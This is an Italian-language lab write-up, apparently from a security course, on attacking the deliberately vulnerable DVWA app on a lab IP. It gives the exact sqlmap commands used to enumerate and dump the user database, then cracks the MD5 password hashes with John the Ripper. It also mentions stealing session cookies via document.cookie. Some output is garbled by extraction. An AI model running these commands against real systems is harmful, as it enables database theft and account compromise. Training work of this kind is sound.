## Password Cracking - Recupero delle Password in Chiaro

## Primo passaggio per recupero database e tabelle: SQL Injection tramite Sqlmap

Tramite il cookie della sessione siamo riusciti tramite l'ausilio di Sqlmap di ricostruire i database e quindi procedere al furto di username e password per accedere al server. Ecco i passaggi eseguiti tramite questo strumento che velocizza di molto il processo di SQL Injection (manualmente sarebbe molto più lento).

**IMPORTANTE:** Per poter utilizzare Sqlmap è NECESSARIO essere in possesso dei cookie di una sessione

Di seguito tutti i passaggi eseguiti per arrivare ad ottenere le credenziali degli utenti.

Per prima cosa per comodità è stata assegnata una variabile al cookie di sessione per avere una stringa più corta. Il primo comando utilizzato (--dbs) ci ha permesso di vedere i database disponibili sul server:

```
(kali⊕ kali)-[~]
$ l="security=low; PHPSESSID=d1413d3283c3f97d62a1ebf28b9d6c55"

(kali⊕ kali)-[~]
$ sqlmap -u "http://192.168.50.101/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit" --cookie=$l --dbs
```

```
[09:22:25] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: Apache 2.2.8, PHP 5.2.4
back-end DBMS: MySQL ≥ 4.1
[09:22:25] [INFO] fetching database names
available databases [7]:
[*] dvwa
[*] information_schema
[*] metasploit
[*] mysql
[*] owasp10
[*] tikiwiki
[*] tikiwiki195
```

Esplorando le varie tables dei database si è arrivati a capire che gli users erano all'interno del database dvwa.

```
ali⊕ kali)-[~]
qlmap -u "http://192.168.50.101/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit" --cookie=$l -D dvwa -T users --columns
__H_______
```

```
[09:26:00] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: Apache 2.2.8, PHP 5.2.4
back-end DBMS: MySQL ≥ 4.1
[09:26:00] [INFO] fetching columns for table 'users' in database 'dvwa'
Database: dvwa
Table: users
[6 columns]
             | Type
 Column
 user
             | varchar(15)
             | varchar(70)
 avatar
 first_name | varchar(15)
 last_name | varchar(15)
 password
            | varchar(32)
 user_id
             | int(6)
```

Una volta trovato e verificato che all'interno della tabella users ci fossero nelle colonne i dati di interesse (user e password), con il comando dump all si è potuto estrarre e scaricare tutto il contenuto possibile dal database target, che in questo caso è dvwa, il quale ci ha permesso di risalire agli utenti e le loro password.

```
___(kali⊛ kali)-[~]
$ sqlmap -u "http://192.168.50.101/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit" --cookie=$l -D dvwa --dump-all

H
```

_id	user	avatar	password	last_name	first_name
	admin   gordonb   1337   pablo   smithy	http://192.168.50.101/dvwa/hackable/users/admin.jpg http://192.168.50.101/dvwa/hackable/users/gordonb.jpg http://192.168.50.101/dvwa/hackable/users/1337.jpg http://192.168.50.101/dvwa/hackable/users/pablo.jpg http://192.168.50.101/dvwa/hackable/users/smithy.jpg	,,,	Brown Me Picasso	admin Gordon Hack Pablo Bob

Una volta ottenute le password hashate abbiamo verificato tramite il tool John the Ripper che fossero in formato md5 tramite questi 2 comandi sulla shell di Kali.

```
(kali® kali)-[~]
$ john --show --format=raw-md5 /home/kali/Desktop/password.txt
?:password
?:abc123
?:charley
?:letmein
?:password
5 password hashes cracked, 0 left
```

## PICCOLA AGGIUNTA::

In conclusione questo lavoro l'ho trovato molto interessante ed ha accresciuto in me un particolare interesse, sono curioso di sfruttare queste conoscenze ed arrivare a riuscire ad utilizzarle con sistemi più sicuri in modo da mettermi alla prova ed imparare. Ho provato ad utilizzare la sicurezza "medium" di DVWA e ho trovato che per ottenere il cookie di sessione ho dovuto utilizzare lo script document.cookie direttamente nella scheda sql injection (nella scheda XSS era già bloccata l'esecuzione del suddetto script). Ho anche fatto un ulteriore prova con la difesa ad "high" e per risalire

al cookie sono arrivato a trovarlo tramite l'inspector di Firefox mettendo document.cookie all'interno della scheda Console dell'inspector (vedi screenshot sotto).